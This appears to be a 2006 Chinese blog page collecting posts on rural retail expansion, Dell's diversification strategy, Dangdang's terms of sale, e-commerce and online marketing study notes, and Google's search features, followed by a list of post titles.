　　这项工作的提出对我国的流通业具有重要的意义，中国商业政策研究会副会长兼秘书长万典武教授指出，没有农村流通业的现代化，就不可能实现整个流通业的现代化。农村逐步推行现代化的流通形式，有利于缩小城乡差距。
　　
　　据有关部门统计，2004年，中国农民人均纯收入达到2936元，比上年实际增长6.8％，是1997年以来增长最快的一年。去年1至3季度，中国农民人均生活消费现金支出达1247.9元，比上年同期增长了11.9％，远超出2003年全年同比增长7.4％的水平。11月当月，县及县以下零售额1763亿元，同比增长12.5％。
　　
　　农民收入的增加，农村购买力的提升，是商务部鼓励城市连锁和超市向农村延伸的主要原因。另外，2004年12月我国取消了外商投资商业企业在中国开店受股权、地域和数量上的限制，国外知名零售业涌入中国，中国本土的零售业将面临很大挑战。万典武还指出，已经有一些行业，比如农资、医药开始向农村扩展，这也是促成这一工作提出的一个原因。
　　
　　此前就已有专家建议，中小商业流通企业和其它民间商业资本，可以到中小城市和乡镇农村去一展身手。目前我国的中小商业流通企业占全部流通企业总数的98％以上，销售额占销售总额的52％多，但这些企业普遍力量弱小、规模有限，缺乏竞争力。而中小城市和乡镇农村市场广阔、竞争压力小、需求大、市场风险相对较小，比较适合正在成长期的民间商业资本去发展壮大。
　　
　　本土零售业进入农村市场的发展前景非常好。中国现在有8亿多农村人口，在中国的城市化进程中发展集镇是最主要的形式。集镇的壮大必然会形成新的市场空间。拥有70％人口的农村蕴含着庞大的消费市场。虽然目前购买力只占40％左右，但随着国家对三农问题的重视，农村税费逐渐减免，农民的购买力会逐渐上升。
　　
　　农村现在的商品的流通方式主要是个体户、私商、供销社，而这些零售商信誉都不是很高。大型超市比较可信，虽然价格可能会比一些私商高。但是因为它的可信度比较高，所以会受到农民的欢迎。最先进入农村的是一些农资超市或者医药超市，将来还会扩展到其他领域。而外商现在主要抢占的是大城市的市场，暂时还到不了农村。
　　
　　“诚信是本土零售业进入农村市场首先要做到的。” 万典武在分析本土零售业在农村的经营策略中强调。农民最害怕买到假种子、假农药。如果零售商在销售农药、种子等商品的时候，都能给农民开发票，并承诺如果是假的，公司会赔偿。他们就不会有后顾之忧了。
　　
　　另外，布点不要太散。要选在县以下的重点集镇，人口有几千上万的比较兴旺的集镇，不能遍地开花。店铺的规模不要太大，布置也不能像城市超市这么豪华，规模太大，费用较高，成本就会加大。而豪华的装修则不太符合农民的特点。农民需要什么还可以事先预定。
还有一种有效途径是采取加盟的办法。知名零售商与农村当地人或者农村已有的个体私商合作，用当地人的房子、铺面，挂公司的牌子，公司负责进货。公司可以不用修店面，利用已有的人力和物力，降低成本。当地人则利用公司的知名度，提高信誉。这样做可以不增加新的失业人口。因为大公司向农村延伸，必然会挤垮当地的个体小店，这样就会增加新的失业人口。采取与已有小店联合的方式，就避免了这种情况。

戴尔“多元模式”曝光能否成功引发猜想

Wed, 11 Jan 2006 08:42:00 GMT

导读：据最新一期的《Business 2.0》刊登文章指出，以“直销模式”创造个人电脑销售神话的戴尔电脑公司日前又让业界为之一震，在预见到个人电脑产业已渐趋饱和的情况下，戴尔公司开始打造其更加大胆、更加富有扩张意味的“多元模式”，进军几乎所有的硬件产品领域。戴尔的新模式能否再次获得成功？许多人都在期待着答案。迈克尔-戴尔是个人电脑业的一个神话，他所倡导的“直销模式”不仅彻底改变了一个产业的格局，而且还缔造了一个规模庞大的企业，现在，戴尔公司提倡的“市场导向”营销理念已经被业界广泛认同，其经营模式已被许多公司引为经典。戴尔公司现在看起来更象是个高效率的装配厂：来自英特尔公司的芯片以及韩国和台湾的外围设备随处可见，工人们三五分钟就可以组装出一台崭新的电脑，这些电脑有秩序地通过送货商直接发送到最终用户手中，其效率之高让人为之惊叹，也让业界同行无不相形见绌！尽管如此，戴尔电脑公司还是碰到了一个成熟企业所无法回避的问题：如何让公司百尺竿头，更上一步，继续维持高效率、高效益的高速成长？显然，已有的经营模式已经发挥到了极致，不可能再成为戴尔公司的成长源泉，出路只能是向其它产业扩张。正是预见到了这一点，戴尔公司在业界普遍观望的形势下，又先人一步，走上了“多元化”的发展道路。这也是戴尔电脑公司继“直销模式”之后推出的又一重大发展战略--“多元化模式”。然而，戴尔的新尝试能否获得成功吗？在推出“多元化模式”概念时，戴尔公司的CEO迈克尔-戴尔就形象地将戴尔公司比作是计算机硬件产业里的“沃尔玛”，言下之意，戴尔要向硬件超市发展，将公司打造成一个无所不包的硬件王国，而不是仅限于个人电脑领域里。为了实现这一目的，戴尔公司开始有计划地向其它硬件产业渗透：网络交换设备、打印机、数码产品、点钞机等等等等，几乎你能想到的与计算机有所关联的硬件产品，都成了戴尔公司的扩张对象。一个现实而严峻的问题是，戴尔公司已有的成功并不能保证它在这些新涉足的领域里继续获得成功，也许在某些个相关产品领域，戴尔公司的模式具备一定的优势，但在大部分新涉足的领域里，戴尔公司完全是个“新人”，这无疑会给戴尔公司的扩张之路带来严重的阻力。虽然股东们对戴尔公司的发展前景抱有极大的期望，但这些新领域能否象预期的那样给股东们带来丰厚的回报，这一点甚至连戴尔本人也无法确定。随着戴尔扩张步伐的加快，公司的竞争对手也不断增加，现在的情况已不是哪些公司想要和戴尔竞争，而是戴尔想和每个公司竞争。对此，IBM和惠普等老牌强敌不约而同地对戴尔公司发出了警告，他们都认为这种盲目扩张的结果不仅会使戴尔丧失已有的竞争优势，而且还会导致产业空心化，使戴尔公司成为一个没有主业也没有核心竞争的公司。然而戴尔公司对此类批评却不屑一顾，戴尔表示，“一个企业最重要的事情就是满足客户的需求，我们有最简单、最有效的模式。不管你经营什么产业，这些基本道理都是一样的。” 戴尔目前正在积极向几个重点积极推进，其中包括商用计算机领域、存储系统领域、网络交换产品领域和服务领域：一、商用计算机领域：这个领域的市场潜在机会为500亿美元，戴尔公司的主要竞争对手是IBM、惠普、SUN。商用计算机领域是戴尔公司目前最主要的扩张领域，这个规模庞大的市场一直被IBM、惠普、SUN等少数几家公司统治着，在90年代中期以前，戴尔还从未考虑过进军这一市场，但现在，戴尔已经开始由低到高地向服务器市场进军，其低端服务器市场份额在短短三年的时间里就超过了业界的老大康柏，以31%的份额高居榜首，其最主要的秘诀就是紧跟业界标准，尽最大可能忽略厂商之间的产品区别，使戴尔公司的产品成为通用的计算产品。二、存储系统领域：这个领域的市场潜在机会为220亿美元，戴尔公司的主要竞争对手是EMC、日立和惠普公司。这个领域的产品通用性较好，是戴尔公司的主攻领域之一，但戴尔公司在该领域的经验较少，这使得公司在向这一领域扩张时遭到了一些挫折，好在戴尔公司及时调整战略，与业界的老大EMC积极联盟，推动EMC的产品标准，使戴尔公司很快扭转了不利局面，获得了客户们的肯定和支持。三、网络交换产品领域：该领域的潜在市场机会为130亿美元，戴尔公司的主要竞争对手是思科系统公司、Enterasys、北电网络以及3Com。在网络交换市场中，戴尔的主打方向是路由器和交换机，由于这一领域的产品通用性较差，产品科技含量非常高，因此戴尔公司的努力主要还是集中在低端市场。目前，戴尔在这一领域的脚步已变得更加谨慎。四、服务领域：该领域的潜在市场机会为3500亿美元，戴尔公司的竞争对手包括 Accenture、HP、IBM等许多公司。从“模式”到“服务”的转变大概是戴尔公司面临的最大挑战，戴尔公司一向是以产品打天下，因此进军服务领域多少有些底气不足，但这个市场实在是太大了，诱人的前景不能不让人心动，也许凭借一段时间的打拼，戴尔公司能够在该领域站住脚。不管怎样，以往20年的经验已经证明，戴尔公司值得信赖，即使短时间内不会获得预期的成功，戴尔公司也会在大浪淘沙中逐渐成为最后的幸存者。

当当网的交易条款

Wed, 11 Jan 2006 08:41:00 GMT

1. 有效性
这些交易条件的条款适用于由当当网上书店为您提供的产品销售服务。这些条款将有可能不时的被修正。

2. 当当和您之间的契约
当当网站上的广告，价目表和声明并不构成要约。在当当向您发送电子邮件确认收到并接受了您的订单之前，您和当当之间不存在任何契约关系。当当有权在发现了当当网站上显现的产品及订单的明显错误或缺货的情况下，单方面撤回任何契约。(参见下面第 3 条款)。
当当保留对产品订购的数量的限制权。在下订单的同时，您也同时承认了您已经达到购买这些产品的法定年龄，并将对您在订单中提供的所有信息的真实性负责。

3. 定价和可获性
产品的定价和可获性都在当当的网站上指明。这类信息将随时更改且不发任何通知。每一项显示的价格都包含了增值税（按照中国的标准税率）。送货费将另外结算，费用根据您选择的送货方式的不同而异。如果发生了意外情况，在确认了您的订单后，由于供应商提价，税额变化引起的价格变化，或是由于网站的错误等造成当当的价格变化，当当会通过email或电话通知您，在当当没有取消订单的情况下，让您决定是否取消订单。

4. 送货
当当将会把产品送到您所指定的送货地址。所有在当当网站上列出的送货时间仅是根据产品的可获性，正常的处理过程和送货时间的基础上估计得出的。

5. 适用的法律和管辖权
您和当当之间的契约将适用中华人民共和国的法律，所有的争端将诉诸于当当所住地的人民法院。

6. 条款的无效性及其条件
如果出于任何原因，这些条款及其条件的部分不能得以实行，其他条款及其条件的有效性将不受影响。本交易条款只适用于当当网上书店自营商品。如您在当当商城购物，产生的商品纠纷或服务纠纷由相应的商城入驻企业负责解决。

专题一：电子商务基本理论

Wed, 11 Jan 2006 08:40:00 GMT

一．电子商务的产生发展遵循四个原则：

1．破坏原则：网络对传统行业的破坏带来了行业的变革变革

2．泡沫原则：利用变革，叮住泡沫，就能发现机遇机会

3．老虎原则：互联网行业的竞争是激烈的竞争

4．雅虎原则：互联网产业的真正价值在于信息转换点的价值信息资产

二．电子商务的概念

1．狭义：仅仅将Internet网络进行的商业活动归于电子商务。

2．广义：利用Internet，Intranet等各种网络在内的一切计算机网络进行的所有商贸活动。

a. sale on line
3．通常，人们对电子商务的理解： b. BI（商业整合）

c. NO（完全没有电子商务的概念）

4．发展观点看，考虑电子商务概念，仅仅局限Internet网络进行商业贸易不够的，应将利用各类电子信息网络进行的广告、设计、开发、推销、采购、结算等全部贸易活动都纳入电子商务的范畴为妥。
5．总之，电子商务是网络环境下利用互联网开展商务活动的总合
三．电子商务的五大模块

　　　　　　　　　　　　　　ＢＩ　商业整合
　　　　　　　　　　　　　ＳＣＭＬ供应链（企业与企业之间）
　　　　　　　　　　　　　ＳＯＬ在线交易
　　　　　　　　　　　　　ＣＲＭ客户关系管理
　　　　　　　　　　　Ｍarketing 网络营销

专题二：企业的信息化
一．信息化的本质
♦信息和通信技术是塑造二十一世纪最有力工具
♦信息技术正成为世界经济增长的发动机
♦信息技术驱动经济变革的本质是知识和新思想的社会共享

♦信息化第一推动力是飞跃发展的信息技术；基于网络计算的信息技术日益趋于普及应用，其主流技术发展趋势必须跟踪；
♦信息化直接目标是信息资源的数字化、网络化，使之实现社会共享
♦信息化最终目的是发掘社会智能资源，推动经济、社会优质的发展

二．为什么企业要信息化？
（1）IT推动管理革命，带来了企业资源管理的信息化
（2）企业信息化是基础
♦"信息化带动工业化"要落实到企业
♦政府起引导作用,塑造良好市场环境
♦市场起到主要激励作用;我国入WTO后面临着国际市场的激励增强;
♦企业信息化是信息化的主角

（3）企业信息化的根本目标——效率和效益

三．对企业信息化的理解要点

（1）现代信息技术的充分渗透；
（2）作业流程自动化是基础；
（3）内部和外部信息资源综合利用；
（4）由信息提升为知识支持智能决策；
（5）一个永续不断的过程：提高竞争力。
企业信息化 = 综合集成 + 信息共享 + 智能决策

四．信息资源——信息化的核心价值

（1）信息资源需要开发,需要必要的投入；信息资源是必要积累的；信息资源的价值在利用中体现,在利用中提升。
（2）企业信息化各要素需要平衡发展,但信息资源的开发、利用处于核心地位;
（3）企业信息化要注重练内功:即结合业务需求﹑开发、利用、积累、提升信息资源,最终形成知识和智能,这是核心价值、宝贵财富。
五．中小企业如何实现信息化
（1）目标：充分利用信息技术和网络效应，增强市场开拓能力，科学管理能力，经营创新能力
（2）步骤：先联网、建平台、重应用
（3）抓好三件应用：收集信息，网络营销，资源管理
相关内容：互联网
1．互联网是信息出版机制
传统的出版互联网（完成一对多的信息发布）
（借助介质）（无介质）
出版机制的三个环节：（1）信息产生；（2）信息传输渠道；（3）信息的取得。
2．互联网本身是一个信息集成搜索工具
信息集成：将信息加工处理后形成的一个整体
URL：统一资源定位，是互联网的核心
3．互联网的分布式计算环境是互联网的原动力
专题三：市场营销&网络营销
一．市场营销：
1．概念：市场营销是在恰当的时间，恰当的地点，把恰当的商品以恰当的方法买给恰当的人。
要点："5个恰当"：WHO（目标客户，沟通对象等），WHAT（买点），WHERE，WHEN，HOW
2．市场营销的基础——需求
市场营销的前提——价值
理解：价值是产品的必要条件，也是市场营销的前提。但如果没有需求，产品等于零。整个社会已经进入个性化时代，经济也进入娱乐经济，需求趋向个性化、娱乐化，所以找准消费者需求才是市场营销的关键。
3．客户让渡价值=客户总价值-客户总成本
ICV（客户总价值）=PPIS（PRODUCT，PERSON，IMAGE，SERVICE）
ICC（客户总成本）=MMTP（MONEY，MIND，TIME，PHYSICAL）
PS（产品销售） CS（客户满意） LS（忠诚销售）
4．市场的五个主体：原料供应者、生产者、经销商、中间管理者、消费者
二．网络营销
1．网络营销的含义
网络营销是指借助因特网、计算机通信和数字交互式媒体的功能来实现营销目标的一种营销模式。
2．网络营销产生的背景：
（1）信息技术的发展
（2）市场竞争的需要
（3）客户需求的变化
3．网络营销的特点：
（1）以因特网、计算机通信、数字化方式为技术手段，跨越时空的局限
（2）减少中间环节，开展直接营销
（3）交互式，个性化促销（交互式营销个性化的精确营销）
（4）低成本经营
4．网络营销与传统营销区别：
（1）营销理念：传统营销遵循"市场导向"的理念；网络营销坚持"以消费者需求为导向"的理念。
（2）产品：传统营销无法了解其目标市场中每一位消费者的实际需求；网络营销产品功能设置是根据消费者的需求而定，生产与商业成本必须控制在这些要求之内。
（3）营销渠道：传统营销体系中，生产者和消费者之间有代理商、批发商、商店等参与交易；网络营销中，生产者和消费者直接沟通，中间商的生存空间被削弱。
（4）消费者：传统营销活动中，消费者往往处于被动地位；网络营销中，消费者处于主动地位。
（5）管理：传统的营销活动中，消费者和企业之间缺乏合适的沟通渠道；网络营销中，企业不仅能与消费者发生互动，而且能使各职能部门之间互动。
5．网络营销的主要优势：
（1）突破时空限制
（2）显著降低成本

（3）零库存或微库存生产

（4）个性化服务

（5）服务的延伸

（6）从4P' S到4C' S 的飞跃

4P' S：PRODUCT；PRICE；PLACE；PROMOTION；

4C' S：CONSUMER；COST；CONVENIENCE；COMMUNICATION。

（7）交互性沟通

（8）海量信息服务

（9）促销手段丰富

（10）广告效果显著

6．网络广告

（1）概念：确定的广告主要以付费方式运用互联网络这样一种媒体劝说公众的一种信息转播活动。

（2）五个基本要素（5M）：目的（MISSION）、信息（MESSAGE）、资金（MONEY）、媒体（MEDIA）、效果评估（MEASURE）

（3）特点：广泛性、交互性、信息量无限大、灵活性、针对性、易统计性、经济性

（4）形式：a。在别人的网站上发布广告

b．建立自己的网站

c．电子邮件广告

d．新闻组

e．BBS

f．导航器和搜索引擎

g．旗帜广告

h．图标广告

5）广告的熵：大量不确定因素中找到一个确定因素

Google搜索的特点

Wed, 11 Jan 2006 08:40:00 GMT

因为Google搜索既快又好！网上信息浩如烟海，获取有用的信息难于大海捞针。所以需要一种优异的搜索服务，将网上繁杂的内容整理成为可随心使用的信息。如果缺乏强有力的搜索工具，那么想在网络上寻找一个特定网站，其难度将如在一个没有卡片目录、藏书方法完全随机的图书馆内寻找一本书一样。

Google搜索引擎使网络井然有序

Google 依据网络自身结构，清理混沌信息，缜密组织资源。Google 的搜索服务既不是简单的信息目录，也不是变相的商业广告。

10 亿网址供您搜索

Google 目录中收录了 10 亿多个网址，这在同类搜索引擎中是首屈一指的。这些网站的内容涉猎广泛，无所不有。

Google搜索引擎只返回包含所有关键词的网页

与大多数其它搜索引擎的区别在于：Google 只显示相关的网页，其正文或指向它的链接包含您所输入的所有关键词，而无须再受其它无关结果的烦扰。

Google搜索引擎遵从关键词的相对位置

Google 不仅能搜索出包含所有关键词的结果，并且还对网页关键词的接近度进行分析。与大多数其它搜索引擎的又一区别是：Google 按照关键词的接近度确定搜索结果的先后次序，优先考虑关键词较为接近的结果，这样可以为您节省时间，而无须在无关的结果中徘徊。

Google搜索引擎摘要萃取精华

不同于那些老生常谈的网站简介，Google 只摘录那些包含您的搜索关键词的内容。这样，您就不必为打开网页之后才发现它根本不相关而沮丧。

Google搜索引擎为您带来好手气！

Google 最擅长于为常见查询找出最准确的搜索结果。我们极力向您推荐“手气不错(tm)” 按钮，它会直接带您进入最符合搜索条件的网站，省时又方便。

Google搜索引擎储存网页快照

Google 储存网页的快照，当存有网页的服务器暂时出现故障时您仍可浏览该网页的内容。如果找不到服务器，Google 储存的网页快照也可救急。虽然网页快照中的信息可能不是最新的，但在网页快照中查找资料要比在实际网页中快得多。

Google搜索神话

Google 的使命就是要为您提供网上最好的查询服务，促进全球信息的交流。Google 开发出了世界上最大的搜索引擎，提供了最便捷的网上信息查询方法。通过对 20 多亿网页进行整理，Google 可为世界各地的用户提供适需的搜索结果，而且搜索时间通常不到半秒。现在，Google 每天需要提供 1.5 亿次查询服务。

划时代的搜索技术

Google 富于创新的搜索技术和典雅的用户界面设计使其从第一代搜索引擎中脱颖而出。Google 并非只使用关键词或代理搜索技术，它将自身建立在高级的 PageRank(tm)（网页级别）技术基础之上。这项正在申请专利的技术可确保始终将最重要的搜索结果首先呈现给用户。

上网的首选工具

当其他的竞争者想方设法地把首页复杂化，股价查询、天气预报等等过量的"信息"被填塞在页面上时，极端的实用主义却统治着Google的网站风格：其首页上只有一个搜索框，别无他物。美国WebTop统计公司的调查证实，人们如果在12秒钟内找不到自己所需的内容的话就会超出忍耐限度。这也许说明了为何Google每月会有至少5000万的忠实用户，且用户满意率竟高达97％。

非常设计

美人计--图片asp木马

多个域名绑定一个空间互不影响

ASP控制图片显示的大小（等比例缩放）

王景权的他的乡村连锁梦

传统储运企业向现代物流企业转型的成功关键

关于国有物资企业向物流企业转型的思考

医药零售业陷入“黑色时期”

困扰我国医药零售业发展的三个问题

外巨头摩拳擦掌 医药零售借力扩张

中型企业进入农村零售业市场更有竞争力

农村零售业市场前景看好

戴尔“多元模式”曝光 能否成功引发猜想

当当网的交易条款

专题一：电子商务基本理论

Google搜索的特点

外巨头摩拳擦掌医药零售借力扩张

戴尔“多元模式”曝光能否成功引发猜想